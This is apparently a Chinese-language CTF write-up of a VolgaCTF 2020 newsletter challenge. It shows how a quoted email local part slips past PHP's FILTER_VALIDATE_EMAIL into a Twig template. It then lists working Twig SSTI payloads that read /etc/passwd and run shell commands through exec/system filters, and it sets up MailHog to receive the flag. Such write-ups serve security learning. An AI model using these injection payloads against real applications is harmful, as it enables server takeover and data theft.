源码
题目直接给了源码
public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
$mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
$msg = 'Success';
} else {
$msg = 'Invalid email';
echo $msg;
}
return $this->render('main.twig', ['msg' => $msg]);
}
绕过FILTER_VALIDATE_EMAIL
FILTER_VALIDATE_EMAIL
是根据RFC 822
来检测邮箱地址是否合法的,所以说我们可以用双引号把特殊字符括起来。很明显题目中有个twig的ssti,我们的邮箱地址可以传入"{{1+1}}"@domain.ltd
来达到ssti,同时要注意我们的邮箱长度要在64个字符之内。
twig ssti
文件读取
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
rce
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['cat /etc/passwd']|filter('system')}}
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
smtp接收邮件
因为邮箱的用户名是payload,所以正常的邮箱肯定不能用,我们需要自己起一个smtp服务。我在github上找到了MailHog,简单阅读readme之后,直接在vps上
docker pull mailhog/mailhog
docker run -p 25:1025 -p 18025:8025 mailhog/mailhog
将mailhog默认的smtp端口1025映射到vps的默认smtp端口25,mailhog的web默认端口是8025,挑个能用的映射就行了,发送payload,成功收到flag